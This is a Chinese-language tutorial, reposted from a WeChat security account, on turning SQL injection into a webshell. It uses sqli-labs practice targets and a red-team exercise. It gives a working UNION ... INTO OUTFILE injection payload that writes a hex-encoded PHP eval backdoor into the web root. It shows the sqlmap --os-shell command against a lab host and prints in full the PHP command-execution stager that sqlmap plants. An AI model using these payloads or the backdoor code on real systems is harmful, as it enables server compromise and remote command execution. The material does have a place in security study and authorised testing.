Sql注入getshell的幾種方式
Sql注入getshell的幾種方式
介紹幾種利用sql注入獲取系統權限的方法,一是利用outfile函數,另外一種是利用--os-shell。
一. into outfile
利用條件
1.此方法利用的先決條件
- web目錄具有寫權限,能夠使用單引號
- 知道網站絕對路徑(根目錄,或者是根目錄往下的目錄都行)
- secure_file_priv沒有具體值(在mysql/my.ini中查看)
2.secure_file_priv
secure_file_priv是用來限制load dumpfile、into outfile、load_file()函數在哪個目錄下擁有上傳和讀取文件的權限。在mysql 5.6.34版本以后 secure_file_priv的值默認為NULL。如下關于secure_file_priv的配置介紹
- secure_file_priv的值為null ,表示限制mysqld 不允許導入|導出
- 當secure_file_priv的值為/tmp/ ,表示限制mysqld 的導入|導出只能發生在/tmp/目錄下
- 當secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制
- 所以如果我們要想使用into outfile函數寫入一句話的話就需要將secure_file_priv 的值設為沒有值,那如何設置的?修改secure_file_priv 的值只能通過手動打開配置文件進行修改,不能直接使用sql語句進行修改
(1)看secure-file-priv參數的值
show global variables like '%secure%';
如下,secure_file_priv 的值默認為NULL,則表示限制mysqld 不允許導入|導出

(2)修改secure_file_priv 的值
我們可以在mysql/my.ini中查看是否有secure_file_priv 的參數,如果沒有的話我們就添加 secure_file_priv = ' ' 即可

此時再查看secure_file_priv的值如下已經變為空了

設置完成后我們就可以利用這個函數來寫入一句話木馬
寫入webshell
我們以sqli-labs第七關為例
1.注入點判斷
輸入正確的語法正常顯示,錯誤的語法顯示說語法錯誤,頁面只存在兩種狀態,判斷為盲注。我們輸入?id=3')) and sleep(5) --+時長成功延時,所以注入點就為3')),我們輸入的字符被包含在單引號中,且單引號外有兩個雙引號包裹

2.判斷列數
我們使用order by 語句判斷列數,order by 3時,正常顯示,4時不正常,判斷為3列

3.寫入webshell
再如此前我們已經通過一些方法獲取到了網站的根目錄,則可以寫入一句話 “ ”。一句話建議進行十六進制轉碼(不用編碼也可以) 16進制轉換,16進制轉換文本字符串,在線16進制轉換 | 在線工具

編碼后,然后在最前面加上 0x。如下我們將一句話木馬進行十六進制編碼后寫入了根目錄下的outfile.php文件中
?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\\Users\\Administrator.WIN2012\\Desktop\\phpStudy\\WWW\\outfile.php' --+

成功寫入,這里網站的目錄要使用雙斜杠不然會寫不進去,第一個斜杠是轉義的意思,字符串解析不僅僅局限于C編譯器,Java編譯器、一些配置文件的解析、Web服務器等等,都會遇到對字符串進行解析的這個問題,由于傳統的 Windows采用的是單個斜杠的路徑分隔形式,導致在對文件路徑進行解析的時候可能發生不必要的錯誤,所以就出現了用雙反斜杠"\"分隔路徑的形式。不管解析引擎是否將反斜杠解析成轉義字符,最終在內存中得到的都是"",結果也就不會出問題了。

4.連接webshell
成功連接

如果我們將 secure_file_priv的值為設置為null,我們在進行上面的寫入操作發現并沒有寫進去。

所以沒有寫進去的情況有兩種:
- 網站的路徑不對,或者沒有使用雙斜杠進行轉義
- secure_file_priv的值不是為空
二. --os-shell
原理
--os-shell就是使用udf提權獲取WebShell。也是通過into oufile向服務器寫入兩個文件,一個可以直接執行系統命令,一個進行上傳文件
此為sqlmap的一個命令,利用這條命令的先決條件:
- 要求為DBA,--is-dba(phpstudy搭建的一般為DBA)
- secure_file_priv沒有具體值
- 知道網站的絕對路徑
- GPC為off,php主動轉義的功能關閉
使用
測試
我們以sqli-labs第一關為例
sqlmap -u http://192.168.43.145/2_Shotting_Range/sql/Less-1/?id=1 --os-shell

sqlmap在指定的目錄生成了兩個文件(文件名是隨機的,并不是固定的):
tmpbeewq.php 用來執行系統命令 tmpuqvgw.php 用來上傳文件
1.tmpbeewq.php的文件內容為
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
訪問一下

2.使用tmpuqvgw.php上傳文件
我們上傳一個php的一句話后門

訪問

所以這兩種方式都需要知道網站的絕對路徑才行。
補充:
上面說了sqlmap寫入webshell的方式有三種,缺一不可
web目錄具有寫權限,能夠使用單引號
知道網站絕對路徑
secure_file_priv沒有具體值(在mysql/my.ini中查看)
在最近的一次護網中,我使用sqlmap寫webshell,知道了網站的根目錄,還是寫不進去。就是由于secure_file_priv的值為NULL。那怎么知道這個值是什么了
--sql-shell
我們可以先使用這個來執行一些sql語句,如這為實戰中的測試

輸入sql語句
select @@secure_file_priv
提示為NULL

所以就會出現,如下的錯誤

文章轉自公眾號: 網絡安全學習圈